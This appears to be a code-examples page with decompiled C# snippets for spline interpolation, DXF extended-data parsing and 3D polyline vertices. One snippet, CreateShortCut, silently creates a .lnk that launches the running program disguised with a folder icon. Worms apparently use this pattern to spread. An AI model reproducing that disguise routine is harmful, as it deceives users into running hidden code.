                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1; ++index2)
                    {
                        this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, NewLateBinding.LateIndexGet((object)this.X, new object[1]
                        {
                            (object)index2
                        }, (string[])null)));
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)index1,
                        Operators.SubtractObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)index1
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                }
            }
            int nk2 = this.NK;

            for (int index = 1; index <= nk2; ++index)
            {
                NewLateBinding.LateIndexSet((object)this.A, new object[2]
                {
                    (object)index,
                    Operators.AddObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                    {
                        (object)index
                    }, (string[])null), NewLateBinding.LateIndexGet((object)this.F, new object[2]
                    {
                        (object)index,
                        (object)1
                    }, (string[])null))
                }, (string[])null);
            }
            int num4 = this.NK - 1;

            for (int index = 1; index <= num4; ++index)
            {
                this.XI = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)index
                }, (string[])null));
                this.XI1 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)(index + 1)
                }, (string[])null));
                this.H  = this.XI1 - this.XI;
                this.FI = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.F, new object[2]
                {
                    (object)1,
                    (object)index
                }, (string[])null));
                this.FI1 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.F, new object[2]
                {
                    (object)1,
                    (object)(index + 1)
                }, (string[])null));
                this.F1I  = this.myF1((object)this.XI);
                this.F1I1 = this.myF1((object)this.XI1);
                this.DFI  = this.FI1 - this.FI;
                this.DH3  = Math.Pow(this.H, 3.0);
                NewLateBinding.LateIndexSet((object)this.B, new object[3]
                {
                    (object)1,
                    (object)index,
                    (object)((this.F1I1 * this.H - 2.0 * this.DFI + this.F1I * this.H) / this.DH3)
                }, (string[])null);
                NewLateBinding.LateIndexSet((object)this.B, new object[3]
                {
                    (object)2,
                    (object)index,
                    (object)((-this.F1I1 * this.H * (this.XI1 + 2.0 * this.XI) + 3.0 * this.DFI * (this.XI1 + this.XI) - this.F1I * this.H * (this.XI + 2.0 * this.XI1)) / this.DH3)
                }, (string[])null);
                NewLateBinding.LateIndexSet((object)this.B, new object[3]
                {
                    (object)3,
                    (object)index,
                    (object)((this.F1I1 * this.XI * (this.XI + 2.0 * this.XI1) * this.H - 6.0 * this.DFI * this.XI * this.XI1 + this.F1I * this.XI1 * (this.XI1 + 2.0 * this.XI) * this.H) / this.DH3)
                }, (string[])null);
                NewLateBinding.LateIndexSet((object)this.B, new object[3]
                {
                    (object)4,
                    (object)index,
                    (object)((-this.F1I1 * this.XI * this.XI * this.XI1 * this.H + this.FI1 * this.XI * this.XI * (3.0 * this.XI1 - this.XI) + this.FI * this.XI1 * this.XI1 * (this.XI1 - 3.0 * this.XI) - this.F1I * this.XI * this.XI1 * this.XI1 * this.H) / this.DH3)
                }, (string[])null);
            }
        }
Ejemplo n.º 27
0
 private static void CreateShortCut(string TargetName, string ShortCutPath, string ShortCutName, string Icon)
 {
     try
     {
         ObjectShell = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", ""));
         ObjectLink  = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(ObjectShell, null, "CreateShortcut", new object[] { ShortCutPath + "\\" + ShortCutName + ".lnk" }, null, null, null));
         NewLateBinding.LateSet(ObjectLink, null, "TargetPath", new object[] { ShortCutPath + "\\" + Process.GetCurrentProcess().MainModule.ModuleName }, null, null);
         NewLateBinding.LateSet(ObjectLink, null, "WindowStyle", new object[] { 1 }, null, null);
         if (Icon == null)
         {
             NewLateBinding.LateSet(ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null);
             NewLateBinding.LateSet(ObjectLink, null, "IconLocation", new object[] { "%SystemRoot%\\system32\\SHELL32.dll,3" }, null, null);
         }
         else
         {
             NewLateBinding.LateSet(ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null);
             NewLateBinding.LateSet(ObjectLink, null, "IconLocation", new object[] { Icon }, null, null);
         }
         NewLateBinding.LateCall(ObjectLink, null, "Save", new object[0], null, null, null, true);
     }
     catch
     {
     }
 }
Ejemplo n.º 28
0
        public double GetValBySpline(double XX)
        {
            int num1 = 0;
            int num2 = this.NK - 1;

            for (int index = 1; index <= num2; ++index)
            {
                if (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectLessEqual(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)index
                }, (string[])null), (object)XX, false), Operators.CompareObjectLessEqual((object)XX, NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)(index + 1)
                }, (string[])null), false))))
                {
                    num1 = index;
                }
            }
            double num3;

            if (num1 > 0)
            {
                NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                {
                    (object)4,
                    RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.B, new object[2]
                    {
                        (object)4,
                        (object)num1
                    }, (string[])null))
                }, (string[])null);
                int num4 = 1;
                do
                {
                    NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                    {
                        (object)num4,
                        Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.B, new object[2]
                        {
                            (object)num4,
                            (object)num1
                        }, (string[])null), (object)Math.Pow(XX, (double)(4 - num4)))
                    }, (string[])null);
                    ++num4;
                }while (num4 <= 3);
                int num5 = 1;
                do
                {
                    double num6 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)num5
                    }, (string[])null));
                    int num7 = 1;
                    do
                    {
                        if (Operators.ConditionalCompareObjectGreater((object)num6, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                        {
                            (object)num7
                        }, (string[])null), false))
                        {
                            num6 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                            {
                                (object)num7
                            }, (string[])null));
                            double num8 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                            {
                                (object)num7
                            }, (string[])null));
                            NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                            {
                                (object)num7,
                                RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                                {
                                    (object)num5
                                }, (string[])null))
                            }, (string[])null);
                            NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                            {
                                (object)num5,
                                (object)num8
                            }, (string[])null);
                        }
                        ++num7;
                    }while (num7 <= 4);
                    ++num5;
                }while (num5 <= 4);
                int num9  = 5;
                int num10 = 1;
                do
                {
                    if (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectGreater(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)num10
                    }, (string[])null), (object)0.0, false), (object)(num9 == 5))))
                    {
                        num9 = num10;
                    }
                    ++num10;
                }while (num10 <= 4);
                double num11 = 0.0;
                for (int index = num9 - 1; index >= 1; index += -1)
                {
                    num11 = Conversions.ToDouble(Operators.AddObject((object)num11, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)index
                    }, (string[])null)));
                }
                double num12 = 0.0;
                for (int index = num9; index <= 4; ++index)
                {
                    num12 = Conversions.ToDouble(Operators.AddObject((object)num12, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)index
                    }, (string[])null)));
                }
                num3 = num12 + num11;
            }
            else
            {
                num3 = 0.0;
            }
            return(num3);
        }
Ejemplo n.º 29
0
 public static bool BkDXFReadBas_XData(ref int rlngIdx, Dictionary <object, object> vobjDictReadCodes, Dictionary <object, object> vobjDictReadValues, ref object rvarXDataType, ref object rvarXDataValue, ref string nrstrErrMsg)
 {
     object[] dadecArrayValue = new object[3];
     double[] dadblArrayValue = new double[3];
     nrstrErrMsg = null;
     checked
     {
         bool dblnError = default(bool);
         if (Operators.ConditionalCompareObjectEqual(vobjDictReadCodes[rlngIdx], 1001, TextCompare: false))
         {
             int   dlngCount      = -1;
             short dintNextCode   = -1;
             bool  dblnIsArray    = false;
             int   dlngArrayCount = 0;
             Dictionary <object, object> dobjDictXDataType  = new Dictionary <object, object>();
             Dictionary <object, object> dobjDictXDataValue = new Dictionary <object, object>();
             short dintArrayCode = default(short);
             while (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectGreaterEqual(vobjDictReadCodes[rlngIdx], 1000, TextCompare: false), !dblnError)))
             {
                 int    dlngCode  = Conversions.ToInteger(vobjDictReadCodes[rlngIdx]);
                 object dvarValue = RuntimeHelpers.GetObjectValue(vobjDictReadValues[rlngIdx]);
                 if (!hwpDxf_XData.BkDXFXData_TypeIsValid(dlngCode))
                 {
                     nrstrErrMsg = "Ungültiger Gruppencode für Erweiterungsdaten in Zeile " + Conversions.ToString(rlngIdx * 2 + 1) + ".";
                     dblnError   = true;
                 }
                 else if (!hwpDxf_XData.BkDXFXData_ValueIsValid(dlngCode, RuntimeHelpers.GetObjectValue(dvarValue)))
                 {
                     nrstrErrMsg = "Ungültiger Wert für Erweiterungsdaten in Zeile " + Conversions.ToString(rlngIdx * 2 + 2) + ".";
                     dblnError   = true;
                 }
                 else
                 {
                     short dintCode = (short)dlngCode;
                     if (dblnIsArray)
                     {
                         if (dintCode != dintNextCode)
                         {
                             nrstrErrMsg = "Ungültiger Gruppencode für Koordinate in Erweiterungsdaten in Zeile " + Conversions.ToString(rlngIdx * 2 + 1) + ".";
                             dblnError   = true;
                         }
                         else if (dlngArrayCount == 1)
                         {
                             dlngArrayCount++;
                             bool flag = false;
                             dadblArrayValue[1] = Conversions.ToDouble(dvarValue);
                             hwpDxf_XData.BkDXFXData_IsArrayCode(dintCode, ref dintNextCode);
                         }
                         else
                         {
                             dblnIsArray    = false;
                             dlngArrayCount = 0;
                             bool flag2 = false;
                             dadblArrayValue[2] = Conversions.ToDouble(dvarValue);
                             dintCode           = dintArrayCode;
                             dvarValue          = RuntimeHelpers.GetObjectValue(Interaction.IIf(Expression: false, dadecArrayValue, dadblArrayValue));
                         }
                     }
                     else if (hwpDxf_XData.BkDXFXData_IsArrayCode(dintCode, ref dintNextCode))
                     {
                         dblnIsArray = true;
                         dlngArrayCount++;
                         dintArrayCode = dintCode;
                         bool flag3 = false;
                         dadblArrayValue[0] = Conversions.ToDouble(dvarValue);
                     }
                     if (!dblnIsArray)
                     {
                         dlngCount++;
                         dobjDictXDataType.Add(dlngCount, dintCode);
                         dobjDictXDataValue.Add(dlngCount, RuntimeHelpers.GetObjectValue(dvarValue));
                     }
                 }
                 rlngIdx++;
             }
             if (!dblnError)
             {
                 rvarXDataType  = new object[dlngCount + 1];
                 rvarXDataValue = new object[dlngCount + 1];
                 int num = dlngCount;
                 for (int dlngIndex = 0; dlngIndex <= num; dlngIndex++)
                 {
                     NewLateBinding.LateIndexSet(rvarXDataType, new object[2]
                     {
                         dlngIndex,
                         dobjDictXDataType[dlngIndex]
                     }, null);
                     NewLateBinding.LateIndexSet(rvarXDataValue, new object[2]
                     {
                         dlngIndex,
                         dobjDictXDataValue[dlngIndex]
                     }, null);
                 }
             }
         }
         return(!dblnError);
     }
 }
Ejemplo n.º 30
0
        public Acad3DVertex AppendVertex(object vvarVertex, string nvstrHandle = null)
        {
            string       dstrErrMsg   = default(string);
            Acad3DVertex AppendVertex = default(Acad3DVertex);
            Acad3DVertex dobjAcad3DVertex2;

            if (!hwpDxf_Functions.BkDXF_CheckVariantForArrayReal(RuntimeHelpers.GetObjectValue(vvarVertex), 0, 2, ref dstrErrMsg))
            {
                Information.Err().Raise(50000, "Acad3DPolyline", dstrErrMsg);
            }
            else
            {
                double ddblObjectID = (Operators.CompareString(nvstrHandle, null, TextCompare: false) != 0) ? hwpDxf_Functions.BkDXF_HexToDbl(nvstrHandle) : base.Database.FriendGetNextObjectID;
                object dvar3DVertex = RuntimeHelpers.GetObjectValue(InternCreate3DVertex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(vvarVertex, new object[1]
                {
                    0
                }, null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(vvarVertex, new object[1]
                {
                    1
                }, null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(vvarVertex, new object[1]
                {
                    2
                }, null)), mobjDictVertices.Count == 0));
                dobjAcad3DVertex2 = FriendAppendVertex(ddblObjectID, RuntimeHelpers.GetObjectValue(dvar3DVertex), ref dstrErrMsg);
                if (dobjAcad3DVertex2 == null)
                {
                    Information.Err().Raise(50000, "Acad3DPolyline", "Der Kontrollpunkt konnte nicht hinzugefügt werden.\n" + dstrErrMsg);
                }
                else
                {
                    AppendVertex = dobjAcad3DVertex2;
                }
            }
            dobjAcad3DVertex2 = null;
            return(AppendVertex);
        }